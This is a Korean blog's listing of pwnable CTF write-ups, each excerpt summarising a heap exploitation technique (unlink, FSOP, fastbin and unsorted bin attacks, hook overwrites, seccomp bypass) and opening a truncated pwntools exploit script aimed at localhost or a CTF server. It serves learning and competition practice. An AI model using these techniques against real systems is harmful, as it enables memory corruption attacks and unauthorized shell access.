목록Security/Pwnable (146)
cdor1's lab
내가 만든 문젠데 너무 어리바리 대답해서 질문오는분들께 죄송했다.... 구조체로 구현한 double-linked-list에서 unlink연산을 이용해 arbitrary memory overwrite을 해 쉘을 얻어내는 문제인데 bss영역에 마침 malloc pointer들이 나열되어 있으므로 이곳에 unlink 연산을 이용해 got를 써넣고 modify 메뉴로 got를 oneshot 가젯으로 덮어서 익스플로잇 하면 되는 문제이다. (문제 풀어주신분들 감사합니다 ㅎㅎ) from pwn import * s = remote('52.199.49.117' ,10006) elf = ELF('/home/cdor1/pwnable/train_busan') def add(data): print s.recvuntil('5...
후기 : 짱어렵다.. file pointer를 덮어써서 malloc 커럽션날때 불러오는 구조체를 overwrite해서 공격하는 것도 그렇고 free가 없어서 top chunk의 크기를 overwrite한 뒤 이를 연계해 sysmalloc이 old_top을 free하는 방법으로 libc와 heap address를 leak해내는 것도 있었다. 점점 내가 생각했던 레벨보다 점점 더 로우레벨단에서 익스플로잇이 진행되는 것 같다... free가 없으면 만들어서 공격하고... 이렇게 file pointer를 건들여서 쉘을 얻는 방법을 File Stream Oriented Programming이라 하는데 pie와 full relro가 걸려있는 프로그램에서는 이 기법을 많이 사용하는 것 같으니 이 방법에 대해서도 많이..
후기 : fastbin이 free된 이전 chunk의 주소를 가져온다는 점을 이용해 익스플로잇하는 매우 재밌는 문제였다. 처음에 bss영역에 할당받는 곳을 이용해서 fake chunk를 만들고, 그곳으로 malloc이 할당하는 포인터를 돌려 got를 덮고 익스플로잇했다. from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/shaxian') def start(address, num): print s.recvuntil('Your Address:') s.sendline(address) print s.recvuntil('Your Phone number:') s.sendline(num) def malloc(payload): ..
후기 : unsorted bin attack을 사용해서 건들수 없는 변수를 덮고, 그걸 이용해서 rop하는 문제다. 다른분들은 fastbin을 이용해서 푸셨다고 하는데 상준이형의 의도대로 unsorted bin attack을 이용해서 풀었다 ㅎ 저번에 풀었던 remuheap은 낙현이 문제, whoissolo는 상준이형 문제로 풀어봤는데 나두 이 문제들처럼 깔끔하고 재밌는 문제들 만들 수 있도록 노력해야겠다. from pwn import * s = remote('localhost', 4001) elf = ELF('/home/cdor1/pwnable/solo') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] def malloc(num, size, data):..
후기 : Ubuntu16.04에서 fgets로 입력하게되면 힙에도 동시에 버퍼가 생성되는데 이를 이용한 재밌는 문제였다. 눈으로 그냥 봤을때는 malloc을 어떤 크기로 하든지 내용 입력값을 4095바이트를 받아서 생기는 unexploitable한 취약점밖에 보이지 않는데 이렇게 fgets를 이용해 힙에 데이터를 쓸 수 있다는것을 알아 이런 재미있는 문제를 풀어볼 수 있었다. 공부하자. 공부하면 걸어가다가도 떡이 생길 것 같다. from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/remuheap') def malloc(size, data): print s.recvuntil('> ') s.sendline('1') pr..
후기 : HITCON 2번째 Holder시리즈인 SleepyHolder이다.SecretHolder와 다른점이 있다면 largechunk를 한번밖에 할당 못한다는 것?1번밖에 할당을 못해주므로 예전에 포스팅했던 fastbin consolidate를 사용해서 dfb를 트리거했다.이렇게 심플하면서도 큰 교훈을 주는 문제들이 참 좋다. ㅎ (낙현이도 공감했답니다) from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/SleepyHolder') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] free_got = elf.got['free'] def keep(num, content)..
후기: 두번째 일기장 문제다. 첫번째 일기장보단 바이너리가 작고 가벼웠지만 난이도는 훨씬 어려웠던것 같다.... seccomp 샌드박스 우회라니.. 32비트 syscall을 필터링 하지 않아서 ./bash를 실행하는 쉘코드를 pwntools로 만들어 사용했다. from pwn import * s = remote('localhost', 4000) def register(date, size, content): print s.recvuntil('>> ') s.sendline('1') print s.recvuntil('... ') s.sendline(date) print s.recvuntil('... ') s.sendline(str(size)) print s.recvuntil('>> ') s.sendline(c..
후기 : 바이너리가 너무 큰 diary... 익스 성공했다. 인티져 오버플로우와 누가봐도 의심스러운 미니게임후 코멘트의 환상조화 from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/diary') def start(): print s.recvuntil(':') s.sendline('cdor1') print s.recvuntil(':') s.sendline('18') print s.recvuntil('>>>') s.sendline('3') print s.recvuntil(':') s.sendline('A'*10) def minigame(): print s.recvuntil('>>> ') s.sendline('3') pr..
후기: 비오비가 아닌 컴돌이의 비오비ctf 문제풀기.. 처음 도전해보는 sandbox escape문제였다. 함수인 fn이 mmap으로 할당해준 공간에 들어가게 되어 비닐포장하듯이 안에 들어가게되는데 이렇게 제한된 공간에서 인가되지 않은 정보까지 건들수 있도록 익스플로잇 하는것이 샌드박스 이스케이프라고 한다. (이 문제에선 shell) realloc이 사용되는 프로그램에서 full relro가 걸려있으면 ralloc_hook을 free가 사용되는 프로그램에서 full relro가 걸려있으면 free_hook을 덮으면 익스에 성공할 수 있다는 것을 알았다. from pwn import * s = remote('localhost', 4000) def name(name): print s.recvuntil('....
후기 : full relro에 pie.. 초록초록한 보호기법이 보여서 어떻게 우회해야하지 고민하다가 대회 당시에는 풀지 못했당 후에 상위3팀의 공개된 write-up을 보고 다시 문제를 풀어보게 되었는데 stdout file pointer를 덮어 printf가 불릴 때 stdout의 function table을 참조하게 되는데 그 때 내가 써놓은 system이 실행되는 신박한 방법이였다. (상준이형 문제나 유심히 볼걸 괜히 못푸는 문제 삽질하다가 멘탈깨진 기분이였다.. 처음엔 unlink라닛! 하면서 신났었는데) from pwn import * s = remote('localhost',4000) elf = ELF('/home/cdor1/unlink2') #1210 print s.recvuntil('Now..